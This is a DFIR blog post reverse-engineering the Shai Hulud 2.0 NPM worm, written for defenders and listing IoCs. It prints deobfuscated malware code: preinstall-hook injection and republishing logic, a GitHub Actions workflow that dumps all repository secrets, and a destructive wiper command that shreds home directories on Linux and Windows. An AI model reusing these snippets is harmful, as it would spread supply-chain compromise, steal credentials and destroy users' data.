THE DFIR BLOG
Menu

    Cyber Security

Unpacking the Shai Hulud 2.0 Worm: Deep Dive into the Malicious NPM Payload

11/24/2025

0 Comments

 

Campaign Overview and Worm ArchitectureThe Shai Hulud 2.0 attack is a self-propagating NPM supply-chain worm that massively compromises packages and CI/CD environments. Unlike earlier targeted incidents, Shai Hulud 2.0 is fully automated, it steals developer credentials, republishes trojanized packages, and spreads across GitHub Actions pipelines in minutes. The worm’s infection chain spans multiple ecosystems:
  • NPM Packages: Stolen NPM tokens are immediately used to inject malicious code into the victim’s packages and publish new versions, turning each maintainer’s projects into propagation vectors.

  • GitHub Actions: Compromised GitHub credentials are abused to inject rogue workflows and even register self-hosted runners on victim repositories. This gives the attacker persistent backdoor access and allows automated exfiltration of secrets via CI pipelines.

  • Cloud Infrastructure: The payload actively targets AWS, GCP, and Azure credentials. It scrapes environment variables, config files, and cloud metadata for secrets, then uses cloud APIs (AWS Secrets Manager, GCP Secret Manager, Azure Key Vault) to list and extract all secret values it can access. These stolen cloud secrets (API keys, tokens, etc.) are aggregated for exfiltration.


Figure: Key Indicators of Compromise (IoCs) – During analysis, the following artifacts were observed on infected systems (often Base64-encoded to hinder detection):
  • contents.json – Host info (OS, architecture, user) and whether the malware authenticated to GitHub (token presence).

  • environment.json – A dump of all environment variables on the machine.

  • cloud.json – JSON containing secrets harvested from AWS, GCP, and Azure accounts accessible from the host.

  • actionsSecrets.json – List of GitHub repository secrets or metadata collected via the GitHub API (if the user’s token had repo access).

  • truffleSecrets.json – Results of a filesystem scan (using a hidden TruffleHog binary) for any sensitive credentials in project files (API keys, tokens, config secrets). The malware dynamically downloads the latest TruffleHog release and runs it on the user’s home directory.

These files are created by the malware and then committed to a remote repository controlled by the attacker. In many cases, Shai Hulud 2.0 would create hundreds of new GitHub repos under the victim’s account, each storing stolen secrets as JSON
Reverse-Engineering the Obfuscated PayloadAt the heart of Shai Hulud 2.0 is a massive, heavily-obfuscated JavaScript payload (over 480,000 lines when pretty-printed. Static analysis indicates the attackers used a JS obfuscator (likely javascript-obfuscator), which produces numeric hex IDs for variable names and wraps modules in loader functions. Despite this, the core logic can be deobfuscated and understood. Let’s break down the execution flow and unpacking strategy:
1. Initial Dropper (NPM Preinstall Script): The worm is introduced by injecting a malicious preinstall hook into legitimate packages. The package’s package.json is altered to include:


"scripts": {
  "preinstall": "node setup_bun.js"
}

This ensures that as soon as someone runs npm install on an infected package, the dropper runs. The malware’s republishing routine automatically adds this hook and bumps the package version (to avoid clashing with the existing version on NPM) before pushing it out:

if (!packageJson.scripts) packageJson.scripts = {};
packageJson.scripts.preinstall = "node setup_bun.js";
if (typeof packageJson.version === "string") {
    let parts = packageJson.version.split('.');
    if (parts.length === 3) {
        parts[2] = (Number(parts[2]) || 0) + 1;  // increment patch version
    }
    packageJson.version = parts.join('.');
}

2. Bun Installation: The dropper script (setup_bun.js) is responsible for setting up the execution environment. Notably, Shai Hulud 2.0 leverages the Bun runtime for its payload, rather than Node.js. Bun is a high-performance JavaScript runtime that is less commonly monitored by EDR/AV tools, giving the malware stealth and speed. The dropper checks if Bun is installed, and if not, downloads it on the fly:
  • On Linux/macOS, it executes curl https://bun.sh/install | bash to install Bun in ~/.bun.

  • On Windows, it runs the PowerShell install script from bun.sh.

After installing, the script reloads the PATH to include Bun’s installation directory (parsing shell profiles or Windows registry), then locates the Bun executable. Finally, it launches the next-stage payload by executing bun_environment.js with Bun:

const bunExecutable = findBunExecutable() || await downloadAndSetupBun();
const environmentScript = path.join(__dirname, 'bun_environment.js');
if (fs.existsSync(environmentScript)) {
    runExecutable(bunExecutable, [environmentScript]);  // Launch payload via Bun
} else {
    process.exit(0);
}

This design allows the heavy payload to run in a separate Bun process, decoupled from the NPM lifecycle. Bun’s performance helps the worm quickly process large data (e.g., scanning file system for secrets) without noticeably slowing down the package installation.

3. Payload Execution & Environment-Awareness: The main payload (bun_environment.js) is an async script that first detects its environment (CI pipeline vs. developer machine) and adjusts its execution strategy accordingly. Key logic from the deobfuscated code:
async function mainPayload() { … }

async function start() {
  if (process.env.BUILDKITE || process.env.GITHUB_ACTIONS || 
      process.env.CODEBUILD_BUILD_NUMBER || process.env.CIRCLE_SHA1) {
    // Running in CI (BuildKite, GitHub Actions, AWS CodeBuild, CircleCI)
    await mainPayload();
  } else {
    // Running on a dev machine – spawn background process to avoid blocking install
    if (process.env.POSTINSTALL_BG !== '1') {
      const nodePath = process.execPath; 
      const scriptPath = process.argv[1];
      Bun.spawn([nodePath, scriptPath], {
        env: { ...process.env, POSTINSTALL_BG: '1' }
      }).unref();
      return;  // Exit quickly, payload continues in background
    }
    try {
      await mainPayload();
    } catch { process.exit(0); }
  }
}

start().catch(() => process.exit(0));

(Deobfuscated pseudocode of the payload’s entry logic)
This clever mechanism means that when a developer installs an infected package locally, the malware will fork itself into a background Bun process and terminate the foreground script, so the npm install doesn’t hang or raise suspicion. In CI environments, it runs inline (since build agents are ephemeral and can execute longer without user oversight).

4. Credential Harvesting Stage: Once running, the payload initializes multiple modules for different tasks:
  • GitHub API Module: manages GitHub authentication and data exfiltration via a GitHub repository (class dq in the code).

  • NPM API Module: handles NPM token validation and package publishing (class Wl).

  • AWS/GCP/Azure Modules: use cloud SDKs to harvest all accessible secrets from cloud providers (classes WX, Hw, Eq respectively). Notably, the malware bundles portions of official cloud SDKs (AWS SDK, Google Cloud, Azure Identity libraries) within its code – we see explicit references to Azure’s ManagedIdentityCredential and Google’s Secret Manager protos in the deobfuscated script. This means the malware can use legitimate API calls to list and retrieve secrets. For example, it calls AWS STS and SecretsManager APIs (via runSecrets()), GCP SecretManager (listAndRetrieveAllSecrets()), and Azure KeyVault/Managed Identity endpoints – effectively dumping whatever cloud credentials are accessible from the machine.

  • TruffleHog Scanner: the payload dynamically fetches a TruffleHog binary (from the tool’s GitHub releases) and scans the user’s home directory for secrets in files. Any findings are collected into truffleSecrets.json.

Parallel tasks are launched to perform these in tandem. The malware gathers system metadata (OS, hostname, user) and current token statuses into contents.json for context. All harvested data is then saved locally via the GitHub module’s saveContents(filename, data, "Add file") method, which pushes the file to the attacker’s repo using GitHub’s REST API (this is how those JSON IoCs end up in a repo).

5. Worm Propagation Stage: After theft comes propagation. Shai Hulud 2.0 will use any valid credentials to spread further:
  • NPM Worming: If an NPM auth token (NPM_TOKEN) is found (either from env or extracted from .npmrc by the malware), the malware validates it and obtains the username (maintainer) associated. It then queries the NPM registry for all packages by that maintainer and iterates through them, repacking each with the malicious preinstall script and payload. The function updatePackage() does this by downloading the package tarball, adding setup_bun.js and bun_environment.js files into it, inserting the preinstall hook in package.json, then publishing the modified package back to NPM under a new version. This happens automatically for up to 100 packages per maintainer token. In effect, one compromised developer leads to a hundred infected packages, each of which can compromise new developers in a viral manner. This behavior transformed Shai Hulud 2.0 into an exponential worm in the Node ecosystem.

GitHub Lateral Movement: If the malware acquired a GitHub Personal Access Token (PAT) or GitHub Actions token, it leverages that to pivot through the victim’s GitHub org. One module enumerates all repositories the token can access and for each repo, it attempts to inject a malicious workflow if the repo has Actions enabled. The injected workflow (called “Code Formatter” in the malware) is a YAML file that runs on every push and simply dumps all repository secrets to an artifact:

on: push

jobs:
  lint:
    runs-on: ubuntu-latest
    env:
      DATA: ${{ toJSON(secrets) }}
    steps:
      - uses: actions/checkout@v5
      - name: Run Formatter
        run: |
          echo "$DATA" > format.json
      - uses: actions/upload-artifact@v5
        with:
          path: format.json
​The malware creates a new Git branch on the repo, commits this workflow file to .github/workflows/formatter_<random>.yml, and triggers it by creating a fake push event. It then waits a short time for the workflow to execute and collects the uploaded format.json artifact which contains the repo’s secrets in JSON form. These secrets (API keys, tokens stored as GitHub repository secrets) are then saved to the attacker’s repository (actionsSecrets.json). The malware cleans up by deleting the workflow branch, leaving minimal trace.

In addition, Shai Hulud 2.0 deploys a backdoor runner on certain victims. If it detects it’s running inside a Linux GitHub Actions runner (process.env.GITHUB_ACTIONS && runner OS == Linux), it will covertly register the compromised machine as a self-hosted runner to an attacker-controlled GitHub project. The payload downloads the official GitHub Actions Runner binary, installs it under a hidden directory (like $HOME/.dev-env/), and registers it to the attacker’s repo with the name “SHA1HULUD”. It uses a runner registration token (_0x1489ec) and repository name (_0x349291/_0x2b1a39) embedded in the code – likely pointing to the adversary’s GitHub organization. The runner is configured to start on boot (for persistence) and runs with elevated privileges on the infected host (if possible). This backdoor runner workflow allows the attacker to execute arbitrary code on the compromised system by simply dispatching GitHub Action jobs (in their repo) that target the “SHA1HULUD” runner. In the initial attack report, a backdoor was set to trigger on GitHub Discussions events – Shai Hulud 2.0’s use of self-hosted runners achieves a similar persistent foothold for the adversary.


6. Cleanup and Destructive Routine: One of the most chilling features of this malware is a conditional wiper that triggers on certain failures. If the worm cannot obtain any credentials to continue (e.g., no NPM token and no GitHub token could be acquired), it assumes it’s stuck or detected – and it will shred the victim’s filesystem as a form of sabotage. In the deobfuscated code, if both NPM and GitHub auth fail, it executes:
// If no tokens obtained, self-destruct:
if (!npmToken && !fetchedGhToken) {
    console.log("Error 12");
    if (system.platform === "windows") {
        Bun.spawnSync(["cmd.exe","/c",
          "del /F /Q /S \"%USERPROFILE%\\*\" && for /d %i in (\"%USERPROFILE%\\*\") do rd /S /Q \"%i\" & cipher /W:%USERPROFILE%"]);
    } else {
        Bun.spawnSync(["bash","-c",
          "find \"$HOME\" -type f -writable -user \"$(id -un)\" -print0 | xargs -0 -r shred -uvz -n 1 && "+
          "find \"$HOME\" -depth -type d -empty -delete"]);
    }
    process.exit(0);
}

On Windows, this deletes all files under the user profile and then uses cipher /W to wipe free space (overwriting remnants). On Linux, it uses shred -uvz to overwrite every writable file in the home directory and then remove empty directories. This destructive payload is likely meant to frustrate forensics if the malware can’t propagate – essentially burning the evidence by wiping the compromised machine. It’s an unusual move for supply-chain malware, signaling the aggressiveness of this campaign (even a hint of ransomware-like intent, though here there’s no decryption – it’s pure data destruction).
Connecting the Dots: Supply-Chain to Supply-Cloud AttackThe reverse-engineered behavior of the code aligns with observed Tactics, Techniques, and Procedures (TTPs) in the broader campaign:
  • Rapid Worm Propagation via NPM: By automatically publishing backdoored versions of dozens of packages per account, Shai Hulud 2.0 achieved explosive spread. Within hours, hundreds of popular packages (from organizations like Zapier, Postman, and more) were compromised. This forced downstream infections – any CI system or developer machine that installed those packages ran the worm. Upwind Security reported propagation rates of ~1,000 new malicious repos every 30 minutes at the peak. The use of an NPM worm magnified the blast radius far beyond a typical targeted breach.

  • CI/CD Token Theft and Abuse: The malware specifically targets CI environments (GitHub Actions, CircleCI, AWS CodeBuild, etc.) by design. These environments often hold high-privilege credentials (cloud deployment keys, service account secrets, etc.). Shai Hulud 2.0 actively harvests those secrets and uses them immediately. For example, if it finds a GitHub Actions token with repo scope, it creates malicious workflows to extract all repo secrets. If it finds cloud keys (AWS access keys, etc.), it uses them to retrieve further secrets from cloud vaults. Each CI pipeline thus becomes an involuntary collector for the attacker, funneling secrets out. The malware’s integration with CI was so extensive that it even launched Docker containers on developer machines to escalate privileges (attempting to modify /etc/sudoers via a Docker escape, as reported in Upwind’s analysis).

  • Abuse of Software Supply-Chain Automation: Shai Hulud 2.0 took advantage of the fact that many organizations had not yet adopted npm’s new “trusted publish” mechanism (which was set to invalidate old tokens in December 2025). The attacker timed the campaign right before legacy tokens would be revoked, ensuring many maintainer accounts were still vulnerable. The worm’s ability to programmatically publish packages means it exploited the continuous integration/deployment (CI/CD) pipelines themselves – essentially turning build systems into spreaders. It highlights how automated package publishing workflows can be a liability if an attacker gets hold of credentials. This is a supply-chain vulnerability in practice: by compromising one node (a maintainer), the malware leveraged the automation trust in software distribution to infect thousands of downstream targets.

  • Defense Evasion via Bun and Obfuscation: Running the payload under Bun provided an unusual process footprint that may evade heuristic detection tuned to Node.js. Telemetry tools watching for suspicious node processes or child_process execution could miss the activity if it executed under a bun process name. Additionally, the enormous obfuscated script (with junk code and opaque control flow) makes static detection difficult – strings like “trufflehog” or "-----BEGIN PRIVATE KEY-----" (which the malware might search for) are buried in a sea of false identifiers. Only at runtime do the real behaviors unravel.

  • Indicators of Cloud & Supply-Chain Convergence: This campaign blurred the line between a software supply-chain attack and a cloud breach. By exfiltrating CI secrets, the attackers could pivot to cloud infrastructure (AWS/GCP/Azure) immediately – potentially leading to live cloud environment compromises (database access, storage bucket theft, etc.). In effect, the NPM malware was a beachhead that opened the door to wider enterprise systems. This emphasizes that defending the software supply-chain is not just about code: it must encompass CI pipelines and cloud secrets as first-class targets.

Shai Hulud 2.0 represents a new apex in automated malware: a polyglot worm that moves from open-source packages to CI pipelines to cloud accounts in one execution. Reverse-engineering its payload uncovers a sophisticated multi-stage attack:
  • A malicious NPM preinstall hook that drops a Bun-powered malware loader.

  • A heavily obfuscated JS core that unpacks into cloud APIs, secret scanners, and API clients ready to fan out through the victim’s digital footprint.

  • Immediate reuse of stolen credentials to proliferate the infection (publishing backdoored packages and injecting workflows).

  • Failsafe destructive logic to impede analysis if the worm can’t continue propagating.

For defenders, analyzing this code provides crucial IOCs and behavioral patterns to detect: the creation of unexpected files (*.json dumps of env and secrets), unusual Bun processes spawning, new GitHub repos or workflows appearing, and of course widespread NPM package typosquats or version bumps from maintainers without explanation. The Shai Hulud 2.0 incident highlights the need for holistic security across development ecosystems – from source code to build pipelines to cloud deployments. By deeply understanding the worm’s deobfuscated logic and techniques, security teams can better instrument their defenses to catch the next supply-chain worm before it slithers into everything.


0 Comments



Leave a Reply.

    RSS Feed

    Subscribe to Newsletter

    Categories

    All
    AI
    CISO
    CISSP
    CKC
    Data Beach
    Incident Response
    LLM
    SOC
    Technology
    Threat Detection
    Threat Hunting
    Threat Modelling

  • Infosec
  • Mac Forensics
  • Windows Forensics
  • Linux Forensics
  • Memory Forensics
  • Incident Response
  • Blog
  • About Me
  • Infosec
  • Mac Forensics
  • Windows Forensics
  • Linux Forensics
  • Memory Forensics
  • Incident Response
  • Blog
  • About Me